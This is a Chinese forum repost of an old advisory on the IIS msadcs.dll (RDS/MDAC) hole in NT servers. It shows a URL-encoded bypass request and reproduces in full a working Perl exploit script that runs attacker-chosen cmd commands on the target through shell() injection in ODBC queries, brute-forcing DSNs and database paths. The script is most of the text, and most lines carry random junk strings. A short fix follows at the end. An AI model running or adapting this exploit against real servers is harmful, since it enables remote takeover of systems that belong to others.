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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) vz_g2.7l\  
C-b%PgA  
涉及程序: 3 BhA.o  
Microsoft NT server L-:L= snO  
N~<}\0  
描述: <XcMc<h~  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 JhXN8Bq33  
]?^xc[  
详细: 6)2M/(  
如果你没有时间读详细内容的话,就删除: |l\/ {F  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lJ1xx}k{U  
有关的安全问题就没有了。 m~IWazj;A  
b2-|e_x  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +6Fdi*:  
&)}:Y!qiu  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {gHscj;SM  
关于利用ODBC远程漏洞的描述,请参看: eeTaF!W  
~I^[rP~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X ^ ]$/rI)  
<hC3#dNRd  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 8PVs!?Nne  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W>s9Mp  
 v2=!*  
这里不再论述。 [?6D1b[  
tnbs]6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: +dpj?  
^dKaa  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset g<tTZD\g  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! |}.B!vg(4  
i1\ /\^  
QgM_SY|Rj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~g6[ [  
)$N{(Cke2T  
#!perl =WRU<`\  
# U$J_:~  
# MSADC/RDS 'usage' (aka exploit) script { RX|  
# 4z DAfi#0  
# by rain.forest.puppy ;m:GUp^[  
# 8VGXw;(Y,d  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Zd/~ *ZA  
# beta test and find errors! &Zy=vk*  
0$Db@  
use Socket; use Getopt::Std; *(.^$Iq4  
getopts("e:vd:h:XR", \%args); :=7;P)  
XFAt\g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; BjJ gQ`X  
CKw)J}z  
if (!defined $args{h} && !defined $args{R}) { <Y'YpH`l  
print qq~ lXy@Cf  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |3o@I uGt  
-h <host> = host you want to scan (ip or domain) *K)53QKlE  
-d <seconds> = delay between calls, default 1 second 6]49kHgMhe  
-X = dump Index Server path table, if available yk6UuI^/  
-v = verbose ri V/wN9C  
-e = external dictionary file for step 5 {!bJ.O l  
~7lvY+k)<  
Or a -R will resume a command session <?}g[]i  
0|vWwZq  
~; exit;} 2n:J7PGD  
qz SI cI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~i#xjD5  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} l:/V%{sx  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} o*BI^4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); CrQ& -!Eh  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} rmoEc]kt]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^Exq=oV  
e(N <Mf  
if (!defined $args{R}){ $ret = &has_msadc; n=MYv(Pp}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} jM<Ihmh|  
@(?d0xCg  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" -^"?a]B  
. "cmd /c "; ?q&mI*j!  
$in=<STDIN>; chomp $in; ~H~4 fp b  
$command="cmd /c " . $in ; ~[,TLg 6  
}=4".V`-o  
if (defined $args{R}) {&load; exit;} \{mJO>x  
}#^F'%zf  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; {XW>:EU'N  
&try_btcustmr; Db:WAjU  
dPX>A4wp  
print "\nStep 2: Trying to make our own DSN..."; IsL/p3|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |?W   
8{ e 3  
print "\nStep 3: Trying known DSNs..."; $QnfpM%+=  
&known_dsn; "& |2IA  
%/C[\w p81  
print "\nStep 4: Trying known .mdbs..."; 'FXZ`+r|  
&known_mdb; _/\H3  
Y>~zt -  
if (defined $args{e}){ cK@K\AE  
print "\nStep 5: Trying dictionary of DSN names..."; 9>P(eN  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [! BH3J!  
8r,%!70  
print "Sorry Charley...maybe next time?\n"; |th )Q  
exit; _xsYcw~)  
@>ZjeDG>  
##############################################################################  e:R[  
UGgi)  
sub sendraw { # ripped and modded from whisker t$|6} BX  
sleep($delay); # it's a DoS on the server! At least on mine... C[,-1e?  
my ($pstr)=@_; 4(IP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C"WZsF^3  
die("Socket problems\n"); (#`o >G(  
if(connect(S,pack "SnA4x8",2,80,$target)){ YT8`Vz$+  
select(S); $|=1; [i_x 1  
print $pstr; my @in=<S>; {`55nwd  
select(STDOUT); close(S); (7 iMIY  
return @in; Xs_y!l  
} else { die("Can't connect...\n"); }} &[pw LYf7  
N*W.V,6yH  
############################################################################## #1k,t  
oc Uu  
sub make_header { # make the HTTP request w:v:znQrW  
my $msadc=<<EOT x N)Ck76  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Op~+yMef  
User-Agent: ACTIVEDATA (1vS)v $L  
Host: $ip +(0eOO'\M  
Content-Length: $clen &rKhB-18)  
Connection: Keep-Alive @su,w,xLS  
nX'.'3  
ADCClientVersion:01.06 /+YWp>6LU  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^u{$$.&  
+=4b5*+qG  
--!ADM!ROX!YOUR!WORLD! :f:C*mYvu  
Content-Type: application/x-varg HS9U.G>  
Content-Length: $reqlen 9m4|1)  
#u^d3 $Nj  
EOT Hy'&x?F6  
; $msadc=~s/\n/\r\n/g; (""&$BJQ|  
return $msadc;} ^lj>v}4fkW  
~ .-'pdz%  
############################################################################## 0jH2. d=  
(z{xd  
sub make_req { # make the RDS request uyIA]OtyN  
my ($switch, $p1, $p2)=@_; GYO"1PM  
my $req=""; my $t1, $t2, $query, $dsn; 9:s!#FYFM  
?=&*6H_v  
if ($switch==1){ # this is the btcustmr.mdb query db|$7]!w  
$query="Select * from Customers where City=" . make_shell(); IZLX[y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . O8%/Id  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} r9[J3t*({~  
g;T`~  
elsif ($switch==2){ # this is general make table query 00+5a TrE  
$query="create table AZZ (B int, C varchar(10))"; k$c!J'qL&  
$dsn="$p1";} iDr0_y*t  
we3t,?`rk7  
elsif ($switch==3){ # this is general exploit table query  3@*8\  
$query="select * from AZZ where C=" . make_shell(); Lq.k?!D3uh  
$dsn="$p1";} |n;7fqK  
3( kZfH~  
elsif ($switch==4){ # attempt to hork file info from index server fmh]Y/UC  
$query="select path from scope()"; `'`XB0vb  
$dsn="Provider=MSIDXS;";} #q%/~-Uk  
zF7T5 Ge  
elsif ($switch==5){ # bad query b._pG(o1  
$query="select"; e6Y0G,K  
$dsn="$p1";} Tec6]  :  
?fG Y,<c  
$t1= make_unicode($query); c9V'Zd#  
$t2= make_unicode($dsn); D@e:Fu1\R  
$req = "\x02\x00\x03\x00"; KC'{>rt7  
$req.= "\x08\x00" . pack ("S1", length($t1)); `KN{0<Ne  
$req.= "\x00\x00" . $t1 ; %BJ V$tO  
$req.= "\x08\x00" . pack ("S1", length($t2)); " PPwJ/L(  
$req.= "\x00\x00" . $t2 ; dL>ZL1.$  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; nm..$QL  
return $req;} &I8ZVtg  
L`6`NYR  
############################################################################## XQ>m8K?\d  
utv.uwfat  
sub make_shell { # this makes the shell() statement %-D2I  
return "'|shell(\"$command\")|'";} -VL3em|0  
Jh1fM`kB5K  
############################################################################## 8}2 `^<U  
* -)aGL  
sub make_unicode { # quick little function to convert to unicode oID, PB*9  
my ($in)=@_; my $out; ZC"p^~U_e[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } H|]Q;,C  
return $out;} %y'#@%kO:S  
WD<M U ]  
############################################################################## 8I%1 `V  
ynhH5P|6,  
sub rdo_success { # checks for RDO return success (this is kludge) ? T9-FGW  
my (@in) = @_; my $base=content_start(@in); p)`JVq,H/B  
if($in[$base]=~/multipart\/mixed/){ tP3Upw"U  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <?+ \\Z!7  
return 0;} Ktoxl+I?  
L fhd02  
############################################################################## *:iFhKFU  
JdE=!~\8  
sub make_dsn { # this makes a DSN for us {.v+ iSM  
my @drives=("c","d","e","f"); t5S S]  
print "\nMaking DSN: "; h1xYQF_`Z  
foreach $drive (@drives) { N]3XDd|q  
print "$drive: "; ==& =3  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;-59#S&?tB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &12.|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 92EvCtf  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; R"jX9~3Ln  
return 0 if $2 eq "404"; # not found/doesn't exist $4m{g"xL  
if($2 eq "200") { z?7pn}-  
foreach $line (@results) { Lq:Z='Kc  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]`%cTdpLj  
} return 0;} C 7v 8  
/)N[tv2  
############################################################################## `3~w#?+=*  
|2Q;SaI^\  
sub verify_exists { uTQ/_$  
my ($page)=@_; O:4.xe  
my @results=sendraw("GET $page HTTP/1.0\n\n"); mU;TB%#)  
return $results[0];} 8d-_'MXk3  
N7XRk= J  
############################################################################## Y:O%xtGi  
g94NU X  
sub try_btcustmr { Y`%:hvy~  
my @drives=("c","d","e","f"); YkTEAI|i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _95V"h  
/IODRso/!  
foreach $dir (@dirs) { Xcb\N  
print "$dir -> "; # fun status so you can see progress {C [7V{4(%  
foreach $drive (@drives) { YQ&Xd/z-  
print "$drive: "; # ditto fU,sn5zZ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; "[76>\'H  
$reqlenlen=length( "$reqlen" ); >k"/:g^t  
$clen= 206 + $reqlenlen + $reqlen; Zx@{nVoYe~  
t<rhrW75P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir));  vO 3fAB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2|+**BxHD  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ) b?HK SqI  
(V*ggii@  
############################################################################## M^a QH/=:"  
Rh iiQ  
sub odbc_error { wT;D<rqe`  
my (@in)=@_; my $base; Wcbb3N$+  
my $base = content_start(@in); +PjH2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this vV8}>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0e&Vvl4DK  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |dXmg13( -  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S~hNSw (-  
return $in[$base+4].$in[$base+5].$in[$base+6];} DJhi>!xJ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $Ad 5hkz  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ~)ls.NXI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Pn0V{SJOJ%  
B+ +:7!  
############################################################################## ~nw]q<7r  
/_v@YB!0  
sub verbose { D3$}S{Yw1  
my ($in)=@_; ht ` !@B  
return if !$verbose; \xwE4K  
print STDOUT "\n$in\n";} sa{X.}i%E  
kP3'BBd,  
############################################################################## w[t!?(![>  
Iq MXd K|  
sub save { K_(o D O  
my ($p1, $p2, $p3, $p4)=@_; sJ,:[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; G}d@^9FkE  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !h4L_D0  
close OUT;} mJl|dk_c  
1-4W4"#  
############################################################################## 5P [b/.n  
O.Z<dy+  
sub load { l:%4@t`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4$C:r&K  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); __OD^?qa  
@p=<IN>; close(IN); $3k5hDA0e  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <GT&q <4w  
$target= inet_aton($ip) || die("inet_aton problems"); _Uc le  
print "Resuming to $ip ..."; 7EO/T,{a  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Vv#|% ^0  
if($p[1]==1) { ND77(I$3s  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \:, dWL u  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]25 xX  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); w|7<y8#qC  
if (rdo_success(@results)){print "Success!\n";} '(4$h3-gv7  
else { print "failed\n"; verbose(odbc_error(@results));}} /Ii a>XY  
elsif ($p[1]==3){ N;Wm{~Zhb  
if(run_query("$p[3]")){ /z9oPIJ=*  
print "Success!\n";} else { print "failed\n"; }} 0P_qtS  
elsif ($p[1]==4){ l.Iov?e1S  
if(run_query($drvst . "$p[3]")){ '#L.w6<B  
print "Success!\n"; } else { print "failed\n"; }} <KlG#7M>  
exit;} |]y]K%  
6SJ  
############################################################################## )OpB\k  
$9)|cO  
sub create_table { 'tm%3` F  
my ($in)=@_; WW\t<O;z  
$reqlen=length( make_req(2,$in,"") ) - 28; k` cz$>  
$reqlenlen=length( "$reqlen" ); :+: vBrJm  
$clen= 206 + $reqlenlen + $reqlen; ;Sl]8IZ  
my @results=sendraw(make_header() . make_req(2,$in,"")); [oqb@J2  
return 1 if rdo_success(@results); l.NV]up +  
my $temp= odbc_error(@results); verbose($temp); lu2"?y[2  
return 1 if $temp=~/Table 'AZZ' already exists/; <?zn k8|  
return 0;} {N!Xp:(<7_  
e:#c\Ay+  
############################################################################## lky{<jZ%  
K =nW|^  
sub known_dsn { V~([{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N{w)}me[YY  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", wC{?@ h  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", MZ]#9/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); SkU'JM7<95  
LX5, _`B  
foreach $dSn (@dsns) { ]#x!mZ!  
print "."; 8$4@U;Vh;  
next if (!is_access("DSN=$dSn")); ?( rJ  
if(create_table("DSN=$dSn")){ tn>z%6;&Z  
print "$dSn successful\n"; !(QDhnx}9c  
if(run_query("DSN=$dSn")){ #[=%+*Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w eu3c`-a  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9=D09@A%e  
X} <p|P+  
############################################################################## tj<a , l  
[Tmpj9! q  
sub is_access { KVQ|l,E, /  
my ($in)=@_; XpS].P9  
$reqlen=length( make_req(5,$in,"") ) - 28; !} ~K'1"  
$reqlenlen=length( "$reqlen" ); C^2J<  
$clen= 206 + $reqlenlen + $reqlen; w%Vw*i6o  
my @results=sendraw(make_header() . make_req(5,$in,"")); bruM#T@}  
my $temp= odbc_error(@results); &ZmWR  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); OcWy#,uC  
return 0;} t{A/Lq9AM  
gK7bP'S8H  
############################################################################## St 4YNS.|  
yCC.j%@  
sub run_query { kIR?r0_<G6  
my ($in)=@_; *%6NuZ  
$reqlen=length( make_req(3,$in,"") ) - 28; y{{7)G  
$reqlenlen=length( "$reqlen" ); Tp-<!^o4  
$clen= 206 + $reqlenlen + $reqlen; KPW2e2{4@  
my @results=sendraw(make_header() . make_req(3,$in,"")); % VZ QX_  
return 1 if rdo_success(@results); A 9\]y%!  
my $temp= odbc_error(@results); verbose($temp); &"G4yM  
return 0;} Vm+e%  
vQK*:IRKK  
############################################################################## +eT1/x0  
V) Oj6nD]  
sub known_mdb { eksYIQZ]  
my @drives=("c","d","e","f","g"); !LDuCz -  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tw{V7r~n  
my $dir, $drive, $mdb; PH$fDbC8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $d:>(_p=A  
3"9'MDKH  
# this is sparse, because I don't know of many p:g`K# [F  
my @sysmdbs=( "\\catroot\\icatalog.mdb", L&*/ s&>b  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %UV'HcO/gp  
"\\system32\\certmdb.mdb", BM6 J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,AX7~;hpq  
I"AgRa  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", .@7J8FS*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ZMFV iE;8  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D H}gvV  
"\\cfusion\\cfapps\\security\\realm_.mdb", 60*;a*cy  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #A&(b}#:o  
"\\cfusion\\database\\cfexamples.mdb", fYv= yP~  
"\\cfusion\\database\\cfsnippets.mdb", F?>rWP   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~QVN^8WPg  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", I)9un|+,y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !+Ia#(  
"\\cfusion\\database\\smpolicy.mdb", \:`'!X1*U  
"\\cfusion\\database\cypress.mdb", r&qF v)0!`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", OanHG  
"\\website\\cgi-win\\dbsample.mdb", r@j$$Pk`  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", d`M]>EDXp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zzq7?]D  
); #these are just \(m_3 H  
foreach $drive (@drives) { y}TiN!M  
foreach $dir (@dirs){ {i}z|'!  
foreach $mdb (@sysmdbs) { R[ 'k&jyi  
print "."; JYQ.Y!X1O  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7x,c)QES`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 67916  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ z@\r V@W5  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; g(9\r  
} else { print "Something's borked. Use verbose next time\n"; }}}}} kB`t_`7f  
P[|FK(l  
foreach $drive (@drives) { ^g[,}t:/d  
foreach $mdb (@mdbs) { / /ty] j  
print "."; #+X|,0p  
if(create_table($drv . $drive . $dir . $mdb)){ 2 d%j6D  
print "\n" . $drive . $dir . $mdb . " successful\n"; IIn0w2:i  
if(run_query($drv . $drive . $dir . $mdb)){ 1O<Gg<<,e  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; f{]eb1  
} else { print "Something's borked. Use verbose next time\n"; }}}} Km)5;BQxg  
} $m$tfa-  
=e<;B_ ~.  
############################################################################## y1zNF$<q  
W`$D*X0*o  
sub hork_idx { |(mr&7O  
print "\nAttempting to dump Index Server tables...\n"; Z @:5vo  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; u!iBAr5  
$reqlen=length( make_req(4,"","") ) - 28; J|ni'Hb  
$reqlenlen=length( "$reqlen" ); ubq4Zv7'   
$clen= 206 + $reqlenlen + $reqlen; ulcm  
my @results=sendraw2(make_header() . make_req(4,"","")); X<6Ro es2  
if (rdo_success(@results)){ co <ATx  
my $max=@results; my $c; my %d; ]6PX4oK_t  
for($c=19; $c<$max; $c++){ A (:7q4  
$results[$c]=~s/\x00//g; UIpW#t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; je9eJUKE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; q?Jd.r5*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; u9d4zR  
$d{"$1$2"}="";} bo;;\>k  
foreach $c (keys %d){ print "$c\n"; } Cd>GY  
} else {print "Index server doesn't seem to be installed.\n"; }} x2 s%qZ#  
1-HL#y*7$  
############################################################################## }]8n3&*  
2!6+>nvO  
sub dsn_dict { 0zSRk]i.f  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); dr25;L? B  
while(<IN>){ gnAM}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; sn|q EH  
next if (!is_access("DSN=$dSn")); qNhV zx  
if(create_table("DSN=$dSn")){ a!`b`r -4  
print "$dSn successful\n"; 81O\BO.T  
if(run_query("DSN=$dSn")){ u!&w"t61Nd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [# X:!xcl  
print "Something's borked. Use verbose next time\n";}}} ,&wTUS\  
print "\n"; close(IN);} D][e uB  
:'\4%D=w  
############################################################################## w&A &BE^O/  
3$]SP1Mc(  
sub sendraw2 { # ripped and modded from whisker 1x\Vz\  
sleep($delay); # it's a DoS on the server! At least on mine... M 5mCG  
my ($pstr)=@_; .GJl@==~1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R"j6 w[tn  
die("Socket problems\n"); $OE~0Z\0  
if(connect(S,pack "SnA4x8",2,80,$target)){ WYHr'xJ  
print "Connected. Getting data"; `5y+3v~"  
open(OUT,">raw.out"); my @in; /(`B;?  
select(S); $|=1; print $pstr; /EJwO3MW  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (IAc*V~  
close(OUT); select(STDOUT); close(S); return @in; /}_OCuJJ,  
} else { die("Can't connect...\n"); }} fS( )F*J  
R @h@@lSf  
############################################################################## @;T>*_Yhn  
'f+g`t?  
sub content_start { # this will take in the server headers Z0f0tL& A<  
my (@in)=@_; my $c; >a5M:s)  
for ($c=1;$c<500;$c++) { >e]46 K  
if($in[$c] =~/^\x0d\x0a/){ iQrTEp  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } r_sZw@lqJ  
else { return $c+1; }}} *O`76+iZ|_  
return -1;} # it should never get here actually ?;\xeFy!  
oD5VE  
############################################################################## os\"(*dix  
c0lVt)pr/  
sub funky { c|f)k:Q  
my (@in)=@_; my $error=odbc_error(@in); D$sG1*@s-  
if($error=~/ADO could not find the specified provider/){ k+(UpO=/*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;$ot,mH?T  
exit;} 1wx&/ #a  
if($error=~/A Handler is required/){ MX3ss,F  
print "\nServer has custom handler filters (they most likely are patched)\n"; h6!o,qw"  
exit;} ya+eGD@N':  
if($error=~/specified Handler has denied Access/){ p1dqDgF*  
print "\nServer has custom handler filters (they most likely are patched)\n"; i(eLE"G+  
exit;}} 9Y9 pKTU  
E8-8E2i,  
############################################################################## /ae]v+  
D,aJ`PK~  
sub has_msadc { Z;/"-.i  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); C:$12{I?*  
my $base=content_start(@results); QK+s}ny  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); MoKGnb  
return 0;} G4!$48  
(#w8/@JxF  
######################## J- %YmUc)  
GJ>vL  
*{5L*\AZ  
解决方案: X%+FM]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $,vZX u|Qw  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 'E/vE0nN?  
cZ(7/Pl  
拿出来充数 哈哈
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